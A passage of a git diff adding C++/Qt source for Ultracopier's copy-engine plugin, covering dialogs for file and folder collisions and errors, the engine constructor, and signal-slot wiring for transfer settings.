+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"file error action wrong");
+ break;
+ }
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"isCalledByShowOneNewDialog==true then not show other dial");
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,ScanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"folder already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the always action
+ FolderExistsAction tempFolderExistsAction=alwaysDoThisActionForFolderExists;
+ switch(tempFolderExistsAction)
+ {
+ case FolderExists_Skip:
+ case FolderExists_Rename:
+ case FolderExists_Merge:
+ thread->setFolderExistsAction(tempFolderExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=NULL;
+ newItem.scan=thread;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ FolderExistsDialog dialog(interface,source,isSame,destination,firstRenamingRule,otherRenamingRule);
+ dialog.exec();/// \bug crash when external close
+ FolderExistsAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FolderExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFolderExists)
+ setComboBoxFolderCollision(newAction);
+ if(!dialog.getAlways() && newAction==FolderExists_Rename)
+ thread->setFolderExistsAction(newAction,dialog.getNewName());
+ else
+ thread->setFolderExistsAction(newAction);
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+}
+
+/// \note Can be call without queue because all call will be serialized
+/// \todo all this part
+void CopyEngine::errorOnFolder(QFileInfo fileInfo, QString errorString, ScanFileOrFolder * thread, ErrorType errorType, bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the always action
+ FileErrorAction tempFileErrorAction=alwaysDoThisActionForFolderError;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ case FileError_Retry:
+ case FileError_PutToEndOfTheList:
+ thread->setFolderErrorAction(tempFileErrorAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=fileInfo;
+ newItem.mkPath=false;
+ newItem.rmPath=false;
+ newItem.scan=thread;
+ newItem.transfer=NULL;
+ newItem.errorType=errorType;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
+ FileErrorDialog dialog(interface,fileInfo,errorString,errorType);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ setComboBoxFolderError(newAction);
+ alwaysDoThisActionForFolderError=newAction;
+ }
+ dialogIsOpen=false;
+ thread->setFolderErrorAction(newAction);
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+// -----------------------------------------------------
+
+//mkpath event
+void CopyEngine::mkPathErrorOnFolder(QFileInfo folder,QString errorString,const ErrorType &errorType,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
+ //load the always action
+ FileErrorAction tempFileErrorAction=alwaysDoThisActionForFolderError;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ listThread->mkPathQueue.skip();
+ return;
+ case FileError_Retry:
+ listThread->mkPathQueue.retry();
+ return;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=folder;
+ newItem.mkPath=true;
+ newItem.rmPath=false;
+ newItem.scan=NULL;
+ newItem.transfer=NULL;
+ newItem.errorType=errorType;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
+ FileErrorDialog dialog(interface,folder,errorString,errorType);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ setComboBoxFolderError(newAction);
+ alwaysDoThisActionForFolderError=newAction;
+ }
+ dialogIsOpen=false;
+ switch(newAction)
+ {
+ case FileError_Skip:
+ listThread->mkPathQueue.skip();
+ break;
+ case FileError_Retry:
+ listThread->mkPathQueue.retry();
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
+ break;
+ }
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//show one new dialog if needed
+void CopyEngine::showOneNewDialog()
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"alreadyExistsQueue.size(): "+QString::number(alreadyExistsQueue.size()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"errorQueue.size(): "+QString::number(errorQueue.size()));
+ int loop_size=alreadyExistsQueue.size();
+ while(loop_size>0)
+ {
+ if(alreadyExistsQueue.first().transfer!=NULL)
+ {
+ fileAlreadyExists(alreadyExistsQueue.first().source,
+ alreadyExistsQueue.first().destination,
+ alreadyExistsQueue.first().isSame,
+ alreadyExistsQueue.first().transfer,
+ true);
+ }
+ else if(alreadyExistsQueue.first().scan!=NULL)
+ folderAlreadyExists(alreadyExistsQueue.first().source,
+ alreadyExistsQueue.first().destination,
+ alreadyExistsQueue.first().isSame,
+ alreadyExistsQueue.first().scan,
+ true);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"bug, no thread actived");
+ alreadyExistsQueue.removeFirst();
+ loop_size--;
+ }
+ loop_size=errorQueue.size();
+ while(errorQueue.size()>0 && loop_size>0)
+ {
+ if(errorQueue.first().transfer!=NULL)
+ errorOnFile(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().transfer,errorQueue.first().errorType,true);
+ else if(errorQueue.first().scan!=NULL)
+ errorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().scan,errorQueue.first().errorType,true);
+ else if(errorQueue.first().mkPath)
+ mkPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().errorType,true);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"bug, no thread actived");
+ errorQueue.removeFirst();
+ loop_size--;
+ }
+}
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngine.cpp b/plugins/CopyEngine/Ultracopier/CopyEngine.cpp
new file mode 100644
index 0000000..f9e16f4
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngine.cpp
@@ -0,0 +1,1238 @@
+/** \file copyEngine.cpp
+\brief Define the copy engine
+\author alpha_one_x86 */
+
+#include <QFileDialog>
+#include <QMessageBox>
+#include <cmath>
+
+#include "CopyEngine.h"
+#include "FolderExistsDialog.h"
+#include "../../../interface/PluginInterface_CopyEngine.h"
+
+// The cmath header from MSVC does not contain round()
+#if (defined(_WIN64) || defined(_WIN32)) && defined(_MSC_VER)
+inline double round(double d) {
+ return floor( d + 0.5 );
+}
+#endif
+
+CopyEngine::CopyEngine(FacilityInterface * facilityEngine) :
+ ui(new Ui::copyEngineOptions())
+{
+ listThread=new ListThread(facilityEngine);
+ this->facilityEngine = facilityEngine;
+ filters = NULL;
+ renamingRules = NULL;
+
+ blockSize = ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE;
+ sequentialBuffer = ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*ULTRACOPIER_PLUGIN_DEFAULT_SEQUENTIAL_NUMBER_OF_BLOCK;
+ parallelBuffer = ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK;
+ interface = NULL;
+ tempWidget = NULL;
+ uiIsInstalled = false;
+ dialogIsOpen = false;
+ renameTheOriginalDestination = false;
+ maxSpeed = 0;
+ alwaysDoThisActionForFileExists = FileExists_NotSet;
+ alwaysDoThisActionForFileError = FileError_NotSet;
+ checkDestinationFolderExists = false;
+ stopIt = false;
+ size_for_speed = 0;
+ putAtBottom = 0;
+ forcedMode = false;
+ followTheStrictOrder = false;
+ deletePartiallyTransferredFiles = true;
+ inodeThreads = 16;
+ moveTheWholeFolder = true;
+
+ //implement the SingleShot in this class
+ //timerActionDone.setSingleShot(true);
+ timerActionDone.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST);
+ //timerProgression.setSingleShot(true);
+ timerProgression.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION);
+
+ timerUpdateMount.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_MOUNT_MS);
+}
+
+CopyEngine::~CopyEngine()
+{
+ /*if(filters!=NULL)
+ delete filters;
+ if(renamingRules!=NULL)
+ delete renamingRules;
+ destroyed by the widget parent, here the interface
+ */
+ stopIt=true;
+ delete listThread;
+ delete ui;
+}
+
+void CopyEngine::connectTheSignalsSlots()
+{
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ debugDialogWindow.show();
+ #endif
+ if(!connect(listThread,&ListThread::actionInProgess, this,&CopyEngine::actionInProgess, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect actionInProgess()");
+ if(!connect(listThread,&ListThread::actionInProgess, this,&CopyEngine::newActionInProgess, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect actionInProgess() to slot");
+ if(!connect(listThread,&ListThread::newFolderListing, this,&CopyEngine::newFolderListing, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newFolderListing()");
+ if(!connect(listThread,&ListThread::isInPause, this,&CopyEngine::isInPause, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect isInPause()");
+ if(!connect(listThread,&ListThread::error, this,&CopyEngine::error, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect error()");
+ if(!connect(listThread,&ListThread::rmPath, this,&CopyEngine::rmPath, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect rmPath()");
+ if(!connect(listThread,&ListThread::mkPath, this,&CopyEngine::mkPath, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect mkPath()");
+ if(!connect(listThread,&ListThread::newActionOnList, this,&CopyEngine::newActionOnList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newActionOnList()");
+ if(!connect(listThread,&ListThread::doneTime, this,&CopyEngine::doneTime, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect doneTime()");
+ if(!connect(listThread,&ListThread::pushFileProgression, this,&CopyEngine::pushFileProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect pushFileProgression()");
+ if(!connect(listThread,&ListThread::pushGeneralProgression, this,&CopyEngine::pushGeneralProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect pushGeneralProgression()");
+ if(!connect(listThread,&ListThread::syncReady, this,&CopyEngine::syncReady, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect syncReady()");
+ if(!connect(listThread,&ListThread::canBeDeleted, this,&CopyEngine::canBeDeleted, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect canBeDeleted()");
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ if(!connect(listThread,&ListThread::debugInformation, this,&CopyEngine::debugInformation, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect debugInformation()");
+ #endif
+
+ if(!connect(listThread,&ListThread::send_fileAlreadyExists, this,&CopyEngine::fileAlreadyExistsSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_fileAlreadyExists()");
+ if(!connect(listThread,&ListThread::send_errorOnFile, this,&CopyEngine::errorOnFileSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_errorOnFile()");
+ if(!connect(listThread,&ListThread::send_folderAlreadyExists, this,&CopyEngine::folderAlreadyExistsSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_folderAlreadyExists()");
+ if(!connect(listThread,&ListThread::send_errorOnFolder, this,&CopyEngine::errorOnFolderSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_errorOnFolder()");
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ if(!connect(listThread,&ListThread::updateTheDebugInfo, this,&CopyEngine::updateTheDebugInfo, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect updateTheDebugInfo()");
+ #endif
+ if(!connect(listThread,&ListThread::errorTransferList, this,&CopyEngine::errorTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect errorTransferList()");
+ if(!connect(listThread,&ListThread::warningTransferList, this,&CopyEngine::warningTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect warningTransferList()");
+ if(!connect(listThread,&ListThread::mkPathErrorOnFolder, this,&CopyEngine::mkPathErrorOnFolderSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect mkPathErrorOnFolder()");
+ if(!connect(listThread,&ListThread::send_realBytesTransfered, this,&CopyEngine::get_realBytesTransfered, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_realBytesTransfered()");
+
+ if(!connect(this,&CopyEngine::tryCancel, listThread,&ListThread::cancel, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect tryCancel()");
+ if(!connect(this,&CopyEngine::getNeedPutAtBottom, listThread,&ListThread::getNeedPutAtBottom, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect getNeedPutAtBottom()");
+ if(!connect(listThread,&ListThread::haveNeedPutAtBottom, this,&CopyEngine::haveNeedPutAtBottom, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect haveNeedPutAtBottom()");
+
+
+ if(!connect(this,&CopyEngine::signal_pause, listThread,&ListThread::pause, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_pause()");
+ if(!connect(this,&CopyEngine::signal_exportErrorIntoTransferList,listThread,&ListThread::exportErrorIntoTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_exportErrorIntoTransferList()");
+ if(!connect(this,&CopyEngine::signal_resume, listThread,&ListThread::resume, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_resume()");
+ if(!connect(this,&CopyEngine::signal_skip, listThread,&ListThread::skip, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_skip()");
+ if(!connect(this,&CopyEngine::signal_setCollisionAction, listThread,&ListThread::setAlwaysFileExistsAction, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_setCollisionAction()");
+ if(!connect(this,&CopyEngine::signal_setTransferAlgorithm, listThread,&ListThread::setTransferAlgorithm, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_setCollisionAction()");
+ if(!connect(this,&CopyEngine::signal_setFolderCollision, listThread,&ListThread::setFolderCollision, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_setFolderCollision()");
+ if(!connect(this,&CopyEngine::signal_removeItems, listThread,&ListThread::removeItems, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_removeItems()");
+ if(!connect(this,&CopyEngine::signal_moveItemsOnTop, listThread,&ListThread::moveItemsOnTop, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsOnTop()");
+ if(!connect(this,&CopyEngine::signal_moveItemsUp, listThread,&ListThread::moveItemsUp, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsUp()");
+ if(!connect(this,&CopyEngine::signal_moveItemsDown, listThread,&ListThread::moveItemsDown, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsDown()");
+ if(!connect(this,&CopyEngine::signal_moveItemsOnBottom, listThread,&ListThread::moveItemsOnBottom, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsOnBottom()");
+ if(!connect(this,&CopyEngine::signal_exportTransferList, listThread,&ListThread::exportTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_exportTransferList()");
+ if(!connect(this,&CopyEngine::signal_importTransferList, listThread,&ListThread::importTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_importTransferList()");
+ if(!connect(this,&CopyEngine::signal_forceMode, listThread,&ListThread::forceMode, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_forceMode()");
+ if(!connect(this,&CopyEngine::send_osBufferLimit, listThread,&ListThread::set_osBufferLimit, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_osBufferLimit()");
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ if(!connect(this,&CopyEngine::send_speedLimitation, listThread,&ListThread::setSpeedLimitation, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_speedLimitation()");
+ #endif
+ if(!connect(this,&CopyEngine::send_blockSize, listThread,&ListThread::setBlockSize, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_blockSize()");
+ if(!connect(this,&CopyEngine::send_parallelBuffer, listThread,&ListThread::setParallelBuffer, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect setParallelBuffer()");
+ if(!connect(this,&CopyEngine::send_sequentialBuffer, listThread,&ListThread::setSequentialBuffer, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect setSequentialBuffer()");
+ if(!connect(this,&CopyEngine::send_parallelizeIfSmallerThan, listThread,&ListThread::setParallelizeIfSmallerThan, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect setParallelizeIfSmallerThan()");
+ if(!connect(this,&CopyEngine::send_moveTheWholeFolder, listThread,&ListThread::setMoveTheWholeFolder, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect moveTheWholeFolder()");
+ if(!connect(this,&CopyEngine::send_deletePartiallyTransferredFiles, listThread,&ListThread::setDeletePartiallyTransferredFiles, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect deletePartiallyTransferredFiles()");
+ if(!connect(this,&CopyEngine::send_setRenameTheOriginalDestination, listThread,&ListThread::setRenameTheOriginalDestination, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect setRenameTheOriginalDestination()");
+ if(!connect(this,&CopyEngine::send_setInodeThreads, listThread,&ListThread::setInodeThreads, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect setInodeThreads()");
+ if(!connect(this,&CopyEngine::send_followTheStrictOrder, listThread,&ListThread::setFollowTheStrictOrder, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect followTheStrictOrder()");
+ if(!connect(this,&CopyEngine::send_setFilters,listThread,&ListThread::set_setFilters, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_setFilters()");
+ if(!connect(this,&CopyEngine::send_sendNewRenamingRules,listThread,&ListThread::set_sendNewRenamingRules, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_sendNewRenamingRules()");
+ if(!connect(&timerActionDone,&QTimer::timeout, listThread,&ListThread::sendActionDone))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect timerActionDone");
+ if(!connect(&timerProgression,&QTimer::timeout, listThread,&ListThread::sendProgression))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect timerProgression");
+ if(!connect(listThread,&ListThread::missingDiskSpace, this,&CopyEngine::missingDiskSpace,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect timerProgression");
+
+ if(!connect(this,&CopyEngine::queryOneNewDialog,this,&CopyEngine::showOneNewDialog,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect queryOneNewDialog()");
+ if(!connect(listThread,&ListThread::errorToRetry,this,&CopyEngine::errorToRetry,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect errorToRetry()");
+
+ if(!connect(&timerUpdateMount,&QTimer::timeout,listThread,&ListThread::set_updateMount, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect set_updateMount()");
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+void CopyEngine::updateTheDebugInfo(const QStringList &newList, const QStringList &newList2, const int &numberOfInodeOperation)
+{
+ debugDialogWindow.setTransferThreadList(newList);
+ debugDialogWindow.setTransferList(newList2);
+ debugDialogWindow.setInodeUsage(numberOfInodeOperation);
+}
+#endif
+
+//to send the options panel
+bool CopyEngine::getOptionsEngine(QWidget * tempWidget)
+{
+ this->tempWidget=tempWidget;
+ ui->setupUi(tempWidget);
+ ui->toolBox->setCurrentIndex(0);
+ ui->blockSize->setMaximum(ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE);
+ connect(tempWidget, &QWidget::destroyed, this, &CopyEngine::resetTempWidget);
+ //conect the ui widget
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ if(!setSpeedLimitation(maxSpeed))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to set the speed limitation");
+ #endif
+
+ //here else, the default settings can't be loaded
+ uiIsInstalled=true;
+
+ setBlockSize(blockSize);
+ setSequentialBuffer(sequentialBuffer);
+ setParallelBuffer(parallelBuffer);
+ setAutoStart(autoStart);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ setRsync(rsync);
+ #else
+ ui->label_rsync->setVisible(false);
+ ui->rsync->setVisible(false);
+ #endif
+ setCheckDestinationFolderExists(checkDestinationFolderExists);
+ set_doChecksum(doChecksum);
+ set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ set_checksumOnlyOnError(checksumOnlyOnError);
+ set_osBuffer(osBuffer);
+ set_osBufferLimited(osBufferLimited);
+ set_osBufferLimit(osBufferLimit);
+ setRightTransfer(doRightTransfer);
+ setKeepDate(keepDate);
+ setParallelizeIfSmallerThan(parallelizeIfSmallerThan);
+ setFollowTheStrictOrder(followTheStrictOrder);
+ setDeletePartiallyTransferredFiles(deletePartiallyTransferredFiles);
+ setInodeThreads(inodeThreads);
+ setRenameTheOriginalDestination(renameTheOriginalDestination);
+ setMoveTheWholeFolder(moveTheWholeFolder);
+ setCheckDiskSpace(checkDiskSpace);
+ setDefaultDestinationFolder(defaultDestinationFolder);
+
+ switch(alwaysDoThisActionForFileExists)
+ {
+ case FileExists_NotSet:
+ ui->comboBoxFileCollision->setCurrentIndex(0);
+ break;
+ case FileExists_Skip:
+ ui->comboBoxFileCollision->setCurrentIndex(1);
+ break;
+ case FileExists_Overwrite:
+ ui->comboBoxFileCollision->setCurrentIndex(2);
+ break;
+ case FileExists_OverwriteIfNotSame:
+ ui->comboBoxFileCollision->setCurrentIndex(3);
+ break;
+ case FileExists_OverwriteIfNewer:
+ ui->comboBoxFileCollision->setCurrentIndex(4);
+ break;
+ case FileExists_OverwriteIfOlder:
+ ui->comboBoxFileCollision->setCurrentIndex(5);
+ break;
+ case FileExists_Rename:
+ ui->comboBoxFileCollision->setCurrentIndex(6);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ ui->comboBoxFileCollision->setCurrentIndex(0);
+ break;
+ }
+ switch(alwaysDoThisActionForFileError)
+ {
+ case FileError_NotSet:
+ ui->comboBoxFileError->setCurrentIndex(0);
+ break;
+ case FileError_Skip:
+ ui->comboBoxFileError->setCurrentIndex(1);
+ break;
+ case FileError_PutToEndOfTheList:
+ ui->comboBoxFileError->setCurrentIndex(2);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ ui->comboBoxFileError->setCurrentIndex(0);
+ break;
+ }
+ switch(alwaysDoThisActionForFolderExists)
+ {
+ case FolderExists_NotSet:
+ ui->comboBoxFolderCollision->setCurrentIndex(0);
+ break;
+ case FolderExists_Merge:
+ ui->comboBoxFolderCollision->setCurrentIndex(1);
+ break;
+ case FolderExists_Skip:
